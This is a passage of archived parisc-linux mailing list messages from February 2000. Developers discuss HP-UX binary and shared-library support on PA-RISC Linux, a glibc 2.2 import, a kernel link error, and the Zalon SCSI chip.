> applications.  In case anyone didn't realise it, the current 
> executables

I assume you're referring to 32-bit and 64-bit Intel Linux apps 
recompiled for PA/Linux?

Martin


From - Thu Nov 08 21:11:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 14:55:49 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200002282255.OAA07382@milano.cup.hp.com>
References: <20000228170446.Z9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618793 30693 80.91.229.3 (22 Nov 2014 01:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Feb 28 16:53:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28634
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 16:53:30 -0700
Original-Received: (qmail 23458 invoked by uid 15267); 28 Feb 2000 22:54:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23435 invoked from network); 28 Feb 2000 22:54:27 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 22:54:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id C63AF7DE; Mon, 28 Feb 2000 14:54:26 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id OAA07382; Mon, 28 Feb 2000 14:55:53 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 28 Feb 2000 17:04:46 PST."
             <20000228170446.Z9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6898

willy@thepuffingroup.com wrote:

> > And, what about the install location of HP-UX shlibs required for these
> > 64-bit (and 32-bit?) HP-UX applications?
> 
> If we use a dynamically linked application, they would need to be placed
> in the same location that HP/UX requires them to be.

On HP-UX "SHLIB_PATH" envirment variables helps the dynamic linker
find shared libaries. Something equivalent for linux?

> However,
> it wouldn't be the recommended way; packaging products as rpm or dpkg
> (depending which distribution we pick) would be the preferred way to go.

If we can make .depot installs work, we could pull alot of stuff
from the porting center for starters. And it would also allow folks
to publish binaries for both OS's in a common format. That might not
be interesting to "real" linux hackers. But to folks using HP-UX, it
would make the transition to linux easier.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 18:04:12 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20000228180412.A9944@thepuffingroup.com>
References: <56D553C0B61BD311AD2300A0C9F485C202E9DAB3@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618793 30697 80.91.229.3 (22 Nov 2014 01:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:13 +0000 (UTC)
Cc: "MEYER,ALAN C. HP-FtCollins,ex1\"" <alan_meyer@hp.com>,
        parisc-linux@thepuffingroup.com
To: "FINK,MARTIN HP-FtCollins,ex1\"" <martin_fink@hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Feb 28 17:03:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA28889
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 17:03:28 -0700
Original-Received: (qmail 30249 invoked by uid 15267); 28 Feb 2000 23:04:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30238 invoked from network); 28 Feb 2000 23:04:26 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 23:04:26 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA17243;
	Mon, 28 Feb 2000 18:04:12 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C202E9DAB3@xfc02.fc.hp.com>; from FINK,MARTIN HP-FtCollins,ex1" on Mon, Feb 28, 2000 at 02:47:45PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6899

On Mon, Feb 28, 2000 at 02:47:45PM -0800, FINK,MARTIN HP-FtCollins,ex1" wrote:
> > On Mon, Feb 28, 2000 at 02:14:17PM -0700, MEYER,ALAN C. 
> > HP-FtCollins,ex1" wrote:
> > > I have heard several descriptions of what will be supported 
> > for HP-UX
> > > applications on 64-bit PA/Linux.
> > > 
> > > Can someone plz clarify what will be supported:
> > > * 64-bit/ELF HP-UX applications
> > > * 32-bit/SOM HP-UX applications
> > 
> > We intend to support both of the above; in addition we also intend to
> > support 32 bit ELF Linux applications and, eventually, 64 bit 
> > ELF Linux
> > applications.  In case anyone didn't realise it, the current 
> > executables
> 
> I assume you're referring to 32-bit and 64-bit Intel Linux apps 
> recompiled for PA/Linux?

I'm referring to applications which are written to the Linux APIs compiled
for either 32 or 64 bit PARISC/Linux/ELF.  I'm reluctant to describe
them as `Intel Linux apps', since they probably run on many other CPU /
OS combinations.  GNOME would be a great example here since it can be
built for many different platforms (including HP/UX, I believe), but most
of its users are probably on the IA32 + Linux platform.  There should
be no substantial differences between the user API between Linux running
on different CPUs.

Pedantry aside, the answer to the question you asked is, `Yes'  :-)


From - Thu Nov 08 21:11:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 18:26:34 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20000228182634.C9944@thepuffingroup.com>
References: <20000228170446.Z9944@thepuffingroup.com> <200002282255.OAA07382@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618793 30702 80.91.229.3 (22 Nov 2014 01:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Feb 28 17:28:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA29124
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 17:28:43 -0700
Original-Received: (qmail 13113 invoked by uid 15267); 28 Feb 2000 23:29:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13095 invoked from network); 28 Feb 2000 23:29:39 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 28 Feb 2000 23:29:39 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA17295;
	Mon, 28 Feb 2000 18:26:34 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200002282255.OAA07382@milano.cup.hp.com>; from Grant Grundler on Mon, Feb 28, 2000 at 02:55:49PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6900

On Mon, Feb 28, 2000 at 02:55:49PM -0800, Grant Grundler wrote:
> willy@thepuffingroup.com wrote:
> 
> > > And, what about the install location of HP-UX shlibs required for these
> > > 64-bit (and 32-bit?) HP-UX applications?
> > 
> > If we use a dynamically linked application, they would need to be placed
> > in the same location that HP/UX requires them to be.
> 
> On HP-UX "SHLIB_PATH" envirment variables helps the dynamic linker
> find shared libaries. Something equivalent for linux?

We would also use the HP/UX dynamic linker --- I don't want to write
a dynamic SOM linker.  The Linux ld.so uses LD_LIBRARY_PATH (and some
other interesting things -- man 8 ld.so for more details).

> > However,
> > it wouldn't be the recommended way; packaging products as rpm or dpkg
> > (depending which distribution we pick) would be the preferred way to go.
> 
> If we can make .depot installs work, we could pull alot of stuff
> from the porting center for starters. And it would also allow folks
> to publish binaries for both OS's in a common format. That might not
> be interesting to "real" linux hackers. But to folks using HP-UX, it
> would make the transition to linux easier.

I'm not against it, I'm just not terribly excited about it.  I don't know
much about packaging formats and issues people have there.  I guess that
having alien understand depot files is the right approach, but I really
don't know.


From - Thu Nov 08 21:11:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. \(HP-FtCollins,ex1\)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX application support?
Date: Mon, 28 Feb 2000 17:08:50 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <56D553C0B61BD311AD2300A0C9F485C2038D0FD4@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618793 30707 80.91.229.3 (22 Nov 2014 01:13:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan_meyer@hp.com  Mon Feb 28 18:07:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA29878
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Feb 2000 18:07:55 -0700
Original-Received: (qmail 3619 invoked by uid 15267); 29 Feb 2000 00:08:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3611 invoked from network); 29 Feb 2000 00:08:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 00:08:52 -0000
Original-Received: from xboibrg1.boi.hp.com (xboibrg1.boi.hp.com [15.56.8.167])
	by atlrel1.hp.com (Postfix) with ESMTP id 3FBE61591
	for <parisc-linux@thepuffingroup.com>; Mon, 28 Feb 2000 19:08:52 -0500 (EST)
Original-Received: by xboibrg1.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <FVM5B7PQ>; Mon, 28 Feb 2000 17:08:51 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6901


> > Can someone plz clarify what will be supported:
> > * 64-bit/ELF HP-UX applications
> > * 32-bit/SOM HP-UX applications
> 
> We intend to support both of the above; in addition we also intend to
> support 32 bit ELF Linux applications and, eventually, 64 bit 
> ELF Linux applications.  In case anyone didn't realise it, the
> current executables we use are 32-bit SOM HP-UX applications.
> Admittedly, the current sash we have implements `-mount' by
> calling a linux syscall, but that's only one command.

Yeah, I have loosely followed the interesting path taken with the toolchain
to get, eventually, to 64-bit ELF Linux apps.  But, there could be a
difference between what had to be done during development vs. wanting to
support it.  From HP's view, of course, supporting 32-bit SOM HP-UX apps is
great.

On a related note, is there any intention to support development of HP-UX
applications on PA/Linux?  Sure, a gcc cross-compiler could be created for
this.  But, my assumption is that PA/Linux would be a deployment environment
for HP-UX, but NOT a development environment.

> > And, what about the install location of HP-UX shlibs 
> > required for these 64-bit (and 32-bit?) HP-UX applications?
> 
> If we use a dynamically linked application, they would need 
> to be placed in the same location that HP/UX requires them to be.

Yes.  But, it gets stranger than that.  This topic has received lots of
airtime for IA-64 Linux, where x86 Linux apps will be supported.  The
existance of the IA-64 ABI "mandates" some of the rules for that platform,
but there are still some points that could apply here.

Actually, most of the HP-UX application issues should be OK because ... name
and version conflicts for shlibs are not so likely given the different
naming conventions for HP-UX (.sl) and Linux (.so).  This gets rid of many
of the issues IA-64 is dealing with - although /lib and /usr/lib may get
heavily populated.

BTW, you could imagine someone wanting to run both 32- and 64-bit HP-UX
apps.  The convention used by HP-UX shlibs seems to be:

	/usr/lib/libm.sl
	/usr/lib/pa20_64/libm.sl

But, the real problems will arise when supporting both 32- and 64-bit Linux
apps on PA.  I assume you meant that both 32- and 64-bit Linux apps would be
supported on 64-bit PA/Linux.  If not, never mind!  If so, this creates some
fun issues, such as:

* There will be naming conflicts between the 32- and 64-bit shlibs (and for
config files, man pages, etc.).  The RPMs for both the 32- and 64-bit
package will want to install in the same locations.

How to address?  Could create subdirs, such as /lib/32bit/... for the 32-bit
libs.  By mucking with rpm and the Linux loader, this could be addressed OK.
But, still a problem for config files and such.

Have I missed the mark, or aren't there some lurking issues here?

Alan


From - Thu Nov 08 21:11:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.2 in cvs
Date: Tue, 29 Feb 2000 08:47:46 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20000229084746.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618794 30712 80.91.229.3 (22 Nov 2014 01:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Feb 29 07:46:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02389
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 07:46:53 -0700
Original-Received: (qmail 16584 invoked by uid 15267); 29 Feb 2000 13:47:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16571 invoked from network); 29 Feb 2000 13:47:48 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 13:47:48 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id IAA18645
	for parisc-linux@thepuffingroup.com; Tue, 29 Feb 2000 08:47:47 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6902


Ulrich Drepper recommended that we not work on glibc 2.1 but use glibc
2.2 instead.  I've checked a version out of sourceware.cygnus.com and I'm
importing it to puffin.external.hp.com right now.  I'll post a recipe
for building it later (it doesn't build yet for me, but it gets a lot
further than glibc 2.1 did)


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make Image fails
Date: Tue, 29 Feb 2000 06:34:16 -0800 (PST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20000229143417.6180.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618794 30716 80.91.229.3 (22 Nov 2014 01:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Feb 29 08:33:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03256
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 08:33:19 -0700
Original-Received: (qmail 8779 invoked by uid 15267); 29 Feb 2000 14:34:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8770 invoked from network); 29 Feb 2000 14:34:18 -0000
Original-Received: from web507.mail.yahoo.com (128.11.68.74)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 14:34:18 -0000
Original-Received: (qmail 6181 invoked by uid 60001); 29 Feb 2000 14:34:17 -0000
Original-Received: from [149.234.12.1] by web507.mail.yahoo.com; Tue, 29 Feb 2000 06:34:16 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6903

Building the cvs version 20000227 with defconfig fails
with unsatified symbol __cmpdi2.

ld -R 0xc0100000 -N -e stext arch/parisc/real/head.o
arch/parisc/kernel/init_task0.o init/main.o
init/version.o \
        arch/parisc/boot/ramdisk.o
arch/parisc/kernel/kernel.o arch/parisc/real/real.o
arch/parisc/mm/mm.o arch/parisc/hpux/hpux.o
kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
        drivers/block/block.a drivers/char/char.o
drivers/net/net.o drivers/pci/pci.a drivers/gsc/gsc.a
\
        net/network.a \
        /usr/src/linux-2.3/arch/parisc/lib/lib.a
/usr/src/linux-2.3/lib/lib.a
/usr/src/linux-2.3/arch/parisc/lib/lib.a \
        -o vmlinux
ld: Unsatisfied symbols:
   __cmpdi2 (code)
make[1]: *** [vmlinux-real] Error 1
make[1]: Leaving directory `/usr/src/linux-2.3'
make: *** [vmlinux] Error 2

I did not find any reference in the source code.
Grepping through object files as well finds a
reference in arch/parisc/hpux/fs.o and hpux.o.

Any ideas ?
Ulrich
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] zalon
Date: Tue, 29 Feb 2000 16:11:55 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <00cf01bf82c7$51677260$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618794 30721 80.91.229.3 (22 Nov 2014 01:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:14 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Tue Feb 29 09:11:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA03748
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 09:11:04 -0700
Original-Received: (qmail 4358 invoked by uid 15267); 29 Feb 2000 15:12:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4348 invoked from network); 29 Feb 2000 15:12:02 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 15:12:02 -0000
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.72.201])
	by palrel3.hp.com (Postfix) with ESMTP id 8299E9FF
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 07:12:00 -0800 (PST)
Original-Received: from pcmatics (pcmatics.hungary.hp.com [15.188.74.169]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id QAA03711 for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 16:11:58 +0100 (MET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6904

Hi all,

I'm working on the ncr7xx driver and plan to add support for the
Bluefish GSC SCSI interface. I looked at the Mach kernel and
found that before accessing the c720 it is initializing something
called zalon.

What is that thing? Should one care about it or just blindly do the
same as the Mach kernel does?

Gyula


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mike_clapper@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] zalon
Date: Tue, 29 Feb 2000 10:28:33 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <H00007e30ee94932@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=openmail-part-1f8c2f2f-00000002
X-Trace: ger.gmane.org 1416618795 30725 80.91.229.3 (22 Nov 2014 01:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:15 +0000 (UTC)
To: gyula_matics@hp.com, parisc-linux@thepuffingroup.com
Original-X-From: mike_clapper@hp.com  Tue Feb 29 09:27:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA03912
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 09:27:44 -0700
Original-Received: (qmail 15128 invoked by uid 15267); 29 Feb 2000 15:28:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15120 invoked from network); 29 Feb 2000 15:28:42 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 15:28:42 -0000
Original-Received: from i3125om3.atl.hp.com (i3125om3.atl.hp.com [15.45.88.72])
	by cosrel2.hp.com (Postfix) with ESMTP id 1D067AB
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 08:28:36 -0700 (MST)
Original-Received: from localhost (root@localhost)
	by i3125om3.atl.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id KAA21480
	for parisc-linux@thepuffingroup.com; Tue, 29 Feb 2000 10:28:41 -0500 (EST)
X-OpenMail-Hops: 1
Xref: news.gmane.org gmane.linux.ports.parisc:6905


--openmail-part-1f8c2f2f-00000002
Content-Type: text/plain; charset=ISO-8859-1; name="BDY.RTF"
Content-Disposition: inline; filename="BDY.RTF"
Content-Transfer-Encoding: quoted-printable

I believe Zalon is the chip that drives the f/w scsi on the core io card=

in K series and possible others.

Mike

=2D----Original Message-----
From: gyula_matics@hp.com [mailto:gyula_matics@hp.com]
Sent: Tuesday, February 29, 2000 9:12 AM
To: parisc-linux@thepuffingroup.com
Subject: FW: [parisc-linux] zalon


Hi all,

I'm working on the ncr7xx driver and plan to add support for the
Bluefish GSC SCSI interface. I looked at the Mach kernel and
found that before accessing the c720 it is initializing something
called zalon.

What is that thing? Should one care about it or just blindly do the
same as the Mach kernel does?

Gyula

=2D---------------------------------------------------------------------=
=2D-
=2D--
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with
`unsubscribe' as the subject.


--openmail-part-1f8c2f2f-00000002
Content-Type: application/rtf; name="BDY.RTF"
Content-Disposition: attachment; filename="BDY.RTF"
Content-Transfer-Encoding: base64

e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZnJvbXRleHQgXGRlZmYwe1xmb250dGJsDQp7XGYw
XGZzd2lzcyBBcmlhbDt9DQp7XGYxXGZtb2Rlcm4gQ291cmllciBOZXc7fQ0Ke1xmMlxmbmls
XGZjaGFyc2V0MiBTeW1ib2w7fQ0Ke1xmM1xmbW9kZXJuXGZjaGFyc2V0MCBDb3VyaWVyIE5l
dzt9fQ0Ke1xjb2xvcnRibFxyZWQwXGdyZWVuMFxibHVlMDtccmVkMFxncmVlbjBcYmx1ZTI1
NTt9DQpcdWMxXHBhcmRccGxhaW5cZGVmdGFiMzYwIFxmMFxmczIwXGNmMCBJIGJlbGlldmUg
WmFsb24gaXMgdGhlIGNoaXAgdGhhdCBkcml2ZXMgdGhlIGYvdyBzY3NpIG9uIHRoZSBjb3Jl
IGlvIGNhcmQgaW4gSyBzZXJpZXMgYW5kIHBvc3NpYmxlIG90aGVycy5ccGFyDQpccGFyDQpN
aWtlXHBhcg0KXHBhcg0KLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS1ccGFyDQpGcm9tOiBn
eXVsYV9tYXRpY3NAaHAuY29tIFttYWlsdG86Z3l1bGFfbWF0aWNzQGhwLmNvbV1ccGFyDQpT
ZW50OiBUdWVzZGF5LCBGZWJydWFyeSAyOSwgMjAwMCA5OjEyIEFNXHBhcg0KVG86IHBhcmlz
Yy1saW51eEB0aGVwdWZmaW5ncm91cC5jb21ccGFyDQpTdWJqZWN0OiBGVzogW3BhcmlzYy1s
aW51eF0gemFsb25ccGFyDQpccGFyDQpccGFyDQpIaSBhbGwsXHBhcg0KXHBhcg0KSSdtIHdv
cmtpbmcgb24gdGhlIG5jcjd4eCBkcml2ZXIgYW5kIHBsYW4gdG8gYWRkIHN1cHBvcnQgZm9y
IHRoZVxwYXINCkJsdWVmaXNoIEdTQyBTQ1NJIGludGVyZmFjZS4gSSBsb29rZWQgYXQgdGhl
IE1hY2gga2VybmVsIGFuZFxwYXINCmZvdW5kIHRoYXQgYmVmb3JlIGFjY2Vzc2luZyB0aGUg
YzcyMCBpdCBpcyBpbml0aWFsaXppbmcgc29tZXRoaW5nXHBhcg0KY2FsbGVkIHphbG9uLlxw
YXINClxwYXINCldoYXQgaXMgdGhhdCB0aGluZz8gU2hvdWxkIG9uZSBjYXJlIGFib3V0IGl0
IG9yIGp1c3QgYmxpbmRseSBkbyB0aGVccGFyDQpzYW1lIGFzIHRoZSBNYWNoIGtlcm5lbCBk
b2VzP1xwYXINClxwYXINCkd5dWxhXHBhcg0KXHBhcg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
XHBhcg0KVG8gdW5zdWJzY3JpYmU6IHNlbmQgZS1tYWlsIHRvIHBhcmlzYy1saW51eC1yZXF1
ZXN0QHRoZXB1ZmZpbmdyb3VwLmNvbSB3aXRoXHBhcg0KYHVuc3Vic2NyaWJlJyBhcyB0aGUg
c3ViamVjdC5ccGFyDQp9

--openmail-part-1f8c2f2f-00000002--


From - Thu Nov 08 21:11:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] zalon
Date: Tue, 29 Feb 2000 10:53:05 -0500
Organization: The Puffins at Linuxcare
Lines: 22
Approved: news@gmane.org
Message-ID: <38BBEB61.772FBF6D@linuxcare.com>
References: <H00007e30ee94932@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618795 30735 80.91.229.3 (22 Nov 2014 01:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:15 +0000 (UTC)
Cc: gyula_matics@hp.com, parisc-linux@thepuffingroup.com
To: mike_clapper@hp.com
Original-X-From: adevries@linuxcare.com  Tue Feb 29 09:43:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04269
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 09:43:33 -0700
Original-Received: (qmail 26119 invoked by uid 15267); 29 Feb 2000 15:44:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26106 invoked from network); 29 Feb 2000 15:44:32 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 15:44:32 -0000
Original-Received: from linuxcare.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id KAA04291;
	Tue, 29 Feb 2000 10:53:06 -0500
Original-Sender: adevries@thepuffingroup.com
